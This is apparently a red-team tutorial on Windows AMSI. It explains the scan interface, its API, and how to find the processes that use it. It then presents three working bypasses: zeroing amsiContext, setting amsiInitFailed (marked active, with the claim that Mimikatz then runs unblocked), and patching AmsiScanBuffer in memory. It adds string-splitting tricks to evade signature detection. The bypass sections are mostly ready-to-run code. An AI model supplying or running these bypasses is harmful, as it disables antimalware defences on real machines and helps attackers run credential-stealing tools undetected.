CONTENTS
0 malware detection methods
1 what is amsi
2 amsi execution flow
3 supported components
4 amsi api — the functions
5 identifying amsi-using processes
6 the bypass — breaking the chain
7 bypass 1 — corrupting amsicontext (patched)
8 bypass 2 — amsiinitfailed (active)
9 bypass 3 — patching amsiscanbuffer
──[ 0. Malware Detection Methods ]──
Security vendors stack a few detection layers:
Signature Hash of a known-bad binary against a DB.
Static Pattern matching on strings, encoded blobs, byte sequences.
Dynamic Behaviour at runtime — calc.exe spawning cmd.exe, that kind
of thing.
Machine learning Anomaly detection against a learned baseline. Standard in m
odern EDRs.
──[ 1. What is AMSI ]──
AMSI (Anti-Malware Scan Interface) is the Windows API that lets security
products inspect script and buffer content before it runs. Shipped with Windows
10.
It's generic: anything can call AMSI, anything can register as a provider.
The point is that AMSI sees buffers, not just files on disk. That's why it
catches fileless and obfuscated payloads.
──[ 2. AMSI Execution Flow ]──
1. Something asks for a scan (e.g. a PowerShell command about to run).
2. Request goes to the registered AMSI provider.
3. Provider runs its detection logic.
4. Result comes back, the caller decides: allow or block.
──[ 3. Supported Components ]──
AMSI is wired into:
PowerShell (3.0+)
Windows Script Host (wscript.exe, cscript.exe)
JavaScript / VBScript
VBA macros (Office)
.NET Framework 4.8+
WMI
──[ 4. AMSI API — The Functions ]──
Init
AmsiInitialize(APP_NAME, &amsiContext)
Returns the HAMSICONTEXT handle every later call needs.
AmsiOpenSession(amsiContext, &session)
Opens a session so multiple scans can be correlated — useful when a
payload arrives in pieces across several commands.
Scan
AmsiScanBuffer(amsiContext, buf, size, name, session, &result)
Sends a memory buffer to the provider. You get back one of:
AMSI_RESULT_CLEAN (0) nothing found
AMSI_RESULT_NOT_DETECTED (1) not flagged
AMSI_RESULT_BLOCKED_BY_ADMIN (16384–20479) admin policy
AMSI_RESULT_DETECTED (32768) threat
The caller takes the result and decides what to do with it.
──[ 5. Identifying AMSI-Using Processes ]──
List processes that loaded amsi.dll:
tasklist /m amsi*
Only running processes show up — this reads in-memory modules.
Which security provider is registered:
Get-WmiObject -Namespace "root\securitycenter2" `
-Class AntivirusProduct |
Select-Object DisplayName, PathToSignedProductExe, ProductState
──[ 6. The Bypass — Breaking the Chain ]──
Every known AMSI bypass breaks the link between the API and the provider. The
HAMSICONTEXT struct is shared across all AMSI calls — corrupt it and every scan
after fails silently. AMSI is effectively dead for the process.
Microsoft didn't publish the layout of HAMSICONTEXT, but researchers reversed
it. First DWORD is a magic header (0x49534D41, "AMSI"), and there's an
amsiInitFailed field in there too.
──[ 7. Bypass 1 — Corrupting AmsiContext (PATCHED) ]──
Use .NET reflection to find the internal amsiContext pointer in PowerShell's
AmsiUtils class, then zero it.
$fields = [Ref].Assembly.GetType(
'System.Management.Automation.AmsiUtils'
).GetFields('NonPublic,Static')
$amsiContext = $fields | Where-Object { $_ -like "*Context" }
[IntPtr]$ptr = $amsiContext.GetValue($null)
[Int32[]]$empty = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($empty, 0, $ptr, 1)
Line by line:
1. [Ref].Assembly hands you the current assembly via reflection —
bypassing normal visibility rules.
2. GetType() pulls the internal AmsiUtils class.
3. GetFields('NonPublic,Static') gets the private fields. Reflection
doesn't care about OOP access modifiers.
4. Wildcard "*Context" instead of the literal "amsiContext" — that
string is itself flagged by some providers.
5. GetValue($null) hands you the raw HAMSICONTEXT pointer.
6. Marshal::Copy overwrites the first byte. Magic header dies, every
scan returns an error that's silently swallowed.
One byte is enough: bad magic makes AmsiScanBuffer error out before it scans
anything.
Patched in recent Windows builds.
──[ 8. Bypass 2 — amsiInitFailed (ACTIVE) ]──
Simpler: flip amsiInitFailed to true. AMSI pretends init failed, no scan ever
happens.
$field = [Ref].Assembly.GetType(
'System.Management.Automation.AmsiUtils'
).GetFields('NonPublic,Static') |
Where-Object { $_.Name -like "amsiInitFailed" }
$field.SetValue($null, $true)
Result: Mimikatz and friends, which AMSI blocks before this bypass, run
untouched after it.
──[ 9. Bypass 3 — Patching AmsiScanBuffer ]──
Lower-level: patch AmsiScanBuffer in memory so it returns E_INVALIDARG
(0x80070057) right away, without ever calling the provider.
// Inline C# compiled at runtime
[DllImport("kernel32")] LoadLibrary(string)
[DllImport("kernel32")] GetProcAddress(IntPtr, string)
[DllImport("kernel32")] VirtualProtect(IntPtr, UIntPtr, uint, out uint)
$lib = [Win32]::LoadLibrary("am" + "si.dll") // obfuscated string
$addr = [Win32]::GetProcAddress($lib, "Amsi"+"Scan"+"Buffer")
// Mark the page RWX so we can write to it
[Win32]::VirtualProtect($addr, 5, 0x40, [ref]$p)
// Patch bytes:
// B8 57 00 07 80 -> MOV EAX, 0x80070057 (E_INVALIDARG)
// C3 -> RET
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[Marshal]::Copy($patch, 0, $addr, 6)
The "am"+"si.dll" split is just to dodge signature-based detection of the DLL
name. The patch swaps the function prologue for "return error" — every scan call
dies harmlessly.